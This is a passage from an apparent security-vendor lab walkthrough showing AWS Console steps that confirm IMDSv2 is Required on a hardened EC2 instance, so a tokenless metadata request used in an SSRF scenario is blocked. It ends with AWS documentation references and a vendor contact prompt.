    Why: Choose this inventory to identify the run-bound Secure target.

    Expected evidence: The Instances link is the visible enabled navigation target.

    Next pivot: Filter to the run-bound target.

    2. Choose Instances so that the run-bound Secure target can be selected.
  3. 3
    filter

    Filter to the Secure target

    Click: instance filter

    Use the instance filter with the stable review identifier.

    Why: Use the filter to identify only the qualification target.

    Expected evidence: One run-bound target remains in the filtered inventory.

    Next pivot: Select that target.

    3. Use the instance filter so that only the run-bound Secure target remains.
  4. 4
    selection

    Select the Secure target

    Click: target-instance

    Select the visible target-instance row to open its instance summary.

    Why: Select it to confirm the metadata configuration on this exact instance.

    Expected evidence: The selected row opens the target instance summary.

    Next pivot: Open the Details tab.

    4. Select target-instance so that its run-bound instance summary opens.
  5. 5
    detail

    Open the instance Details tab

    Click: Details

    Open Details in the instance summary.

    Why: Open it to identify the enforced metadata version in the instance details.

    Expected evidence: The Details tab is open and IMDSv2 is visible.

    Next pivot: Read the IMDSv2 value.

    5. Open Details because the clean Console frame leaves IMDSv2 and its value readable.
  6. 6
    evidence

    Confirm IMDSv2 is Required

    Click: IMDSv2

    Use the IMDSv2 field and read its value.

    Why: Read it to confirm the control that rejects the same tokenless IMDSv1 request used successfully against the Range target [1] [2].

    Expected evidence: IMDSv2 is visibly set to Required.

    Next pivot: Replay the identical request and check the prevention verdict.

    6. Use IMDSv2 to confirm that the real Secure target shows Required.
Investigation outcome

The Secure target showed IMDSv2 Required. The identical tokenless replay stopped at the metadata request, acquired no credential, executed zero attacker AWS actions, and the isolated run was removed.

Next stepReplay the identical semantic request against the isolated Secure counterpart.

Vulnerable counterpart: IMDSv2 is Optional, so the tokenless IMDSv1 request is admitted [2].

Next stepConfirm the same request is blocked before credential acquisition.

Hardened counterpart: the genuine AWS Console shows IMDSv2 Required, removing the tokenless metadata condition used by the Range attack [1, 2].

ObservedPASS: CHAIN_BLOCKED_BY_IMDSV2, credential_acquired=false and attacker_aws_actions_executed=0.

Next stepUse the retained teardown and state proofs to confirm the Secure counterpart was removed.

Genuine Secure-run attacker view: the same POST request and metadata destination return HTTP 424 UPSTREAM_METADATA_DENIED. No role name or credential is returned, so attacker AWS actions remain zero.

Follow the complete practice lab

Sources and further reading

References

Numbered sources support the practical points in this article. Video timestamps will appear when the related media is published.

  1. Vendor DocAWS Security Blog
    Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Servicehttps://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/

    AWS explains why IMDSv2 adds session-oriented protection against common SSRF and proxy paths.

  2. Vendor DocAWS
    Configure the instance metadata optionshttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-options.html

    AWS guidance for IMDS endpoint and token settings.

  3. Vendor DocAWS Config
    EC2 instances should use Instance Metadata Service Version 2https://docs.aws.amazon.com/config/latest/developerguide/ec2-imdsv2-check.html

    Definition of the managed EC2_IMDSV2_CHECK rule used by the lab.

  4. Vendor DocAWS
    Logging Amazon S3 API calls using AWS CloudTrailhttps://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html

    Explains management and object-level S3 data events.

  5. Vendor DocAWS GuardDuty
    Active GuardDuty finding typeshttps://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html

    Finding catalogue used to describe observed GuardDuty results.

  6. Vendor DocAWS Security Hub
    Security Hub controls for Amazon EC2https://docs.aws.amazon.com/securityhub/latest/userguide/ec2-controls.html

    Definitions for the EC2.8 and EC2.9 controls discussed in the walkthrough.

  7. ArticleFortinet
    Fortinet Incident Response on SSRF Attack in AWS Environmenthttps://community.fortinet.com/blogs-103/fortinet-incident-response-on-ssrf-attack-in-aws-environment-204029

    An anonymised 2025 incident-response account describing a public-facing application SSRF, IMDSv1 credential exposure, CloudTrail investigation and IMDSv2 remediation.

  8. ReportExpel
    Annual Threat Report 2024https://expel.com/wp-content/uploads/2024/01/Annual-Threat-Report-2024.pdf

    Expel reports that SSRF represented 28% of the cloud incidents its SOC observed in 2023 and describes attempts to retrieve EC2 role credentials from IMDS.

Seen something like this in your own estate?

Find the same weaknesses before an attacker does

Talk to us